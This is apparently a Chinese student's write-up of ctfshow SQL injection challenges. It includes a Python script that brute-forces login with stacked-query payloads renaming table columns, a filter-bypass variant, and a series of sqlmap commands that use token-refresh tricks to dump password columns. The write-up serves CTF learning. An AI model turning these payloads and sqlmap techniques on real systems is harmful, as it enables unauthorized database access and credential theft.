然后这个时候其实就是修改字段名字
alter table user change column `passwd` `ppp` varchar(255);

这个时候 原本名为 passwd的字段变为了 ppp字段
alter table user change column `id` `passwd` varchar(255);

这个时候 我们把原本的id修改为passwd字段
然后最后再把ppp修改为id字段
alter table user change column `ppp` `id` varchar(255);

这个时候我们是不是需要的是 passwd 和 name 来实现登入
而且我们知道name 我们是不是只需要爆破 passwd的id值 id肯定为数字 大不了就从0-1000
肯定会有的
这样我们就实现了登入
写一下脚本
- import requests
-
- url = "http://f88e8a6b-de99-4b6d-a90b-8efe9fa533c9.challenge.ctf.show/api/"
-
- for i in range(1000):
- if i == 0 :
- paylaod = {
- 'username':"0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` varchar(255);",
- 'password':i
- }
- re = requests.post(url=url,data=paylaod)
- data = {
- 'username':'0x61646d696e',
- 'password':i
- }
- r = requests.post(url=url, data=data)
- # print(r.text)
- if r"登陆成功" in r.json()['msg']:
- print(r.json()['msg'])
- break
出处
[CTFSHOW]SQL注入(WEB入门)_y4tacker ctfshow-CSDN博客
这里过滤了括号 所以我们可以使用text来代替
0;alter table ctfshow_user change `username` `passwd` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passwd` `pass` text;
然后我们可以使用 username = 0 passwd = userAUTO
登入
或者使用show tables依旧可以
这里我们看看过滤内容
- if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
发现就多了一点内容 但是影响 199的也可以继续使用
这里叫我们使用 sqlmap
并且需要通过--referer来指定检测 我们看看不使用referer会如何

发现是无法实现的
这里有两个方式
py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" --referer "ctf.show"

第二种
py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" --level 3

提高level的时候 就会自动进行http的测试 所以在无法实现注入的时候 可以通过 level 5 尝试
这里我们就直接注入了
- py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" --tables --level 3
-
-
- py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" -T "ctfshow_user" --columns --level 3
-
- py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" -T "ctfshow_user" -C "pass" --dump --level 3
这里我有点不知道为什么 需要POST 没有提示 应该只是为了学习吧
其实这里我比较好奇这里的后端是怎么写的 为什么可以识别出是手注
py3 .\sqlmap.py -u "http://872c6e1d-2be9-48b4-83d3-f634c0e7e02b.challenge.ctf.show/api/" --data "id=1" --dbs --level 3
这里我们首先进行抓包 然后提示我们是用 method 所以我们这里修改为 put(其实我不知道为什么)
然后这里我们可以学习一个东西 如果我们想通过put 获取数据 我们需要制定 content/type
【精选】【web】 Http请求中请求头Content-Type讲解_请求头 content-type-CSDN博客
这里我们可以发现

原本的内容是 表单的提交
现在 我们需要获取数据 我们就需要 text/plain 这里应该
这里就使用 sqlmap 来指定
py3 .\sqlmap.py -u "http://9e044918-27ea-4835-bf60-d369eab19cb3.challenge.ctf.show/api/index.php" --headers "Content-Type: text/plain" --method PUT --data "id=1" --level 3
然后就获取即可
这里提示我们cookie
所以我们看看能不能直接
直接f12查看即可
py3 .\sqlmap.py -u "http://f4141708-80bd-4fb0-8903-5c11ff50a884.challenge.ctf.show/api/index.php" --headers "Content-Type: text/plain" --method PUT --data "id=1" --level 3 --cookie="tdf9n7i7koobo6tknorubjqfr8"

这里我们发现 请求一次查询的时候 会出现 getToken
这里预防注入的方式其实就是 每一次执行就给一个新的token 如果这个api没被泄露 就无法实现 工具的攻击
这里可以使用sqlmap 的两个参数
- --safe-url 指定注入前需要访问的页面 这里就是我们鉴权的界面
-
- --safe-freq 指定访问的次数 这里1次即可
py3 .\sqlmap.py -u "http://0c3cb676-6f97-4bc9-b90d-4d4a34b9d2fd.challenge.ctf.show/api/index.php" --headers "Content-Type: text/plain" --method PUT --data "id=1" --level 3 --safe-url="http://0c3cb676-6f97-4bc9-b90d-4d4a34b9d2fd.challenge.ctf.show/api/getToken.php" --safe-freq=1
上一题 payload直接打
py3 .\sqlmap.py -u "http://ea1709ee-9337-452b-b66e-2709242193ef.challenge.ctf.show/api/index.php" --headers "Content-Type: text/plain" --method PUT --data "id=1" --level 3 --safe-url="http://ea1709ee-9337-452b-b66e-2709242193ef.challenge.ctf.show/api/getToken.php" --safe-freq=1
这里开始编写tamper了
我丢 好难!!!!
开始学吧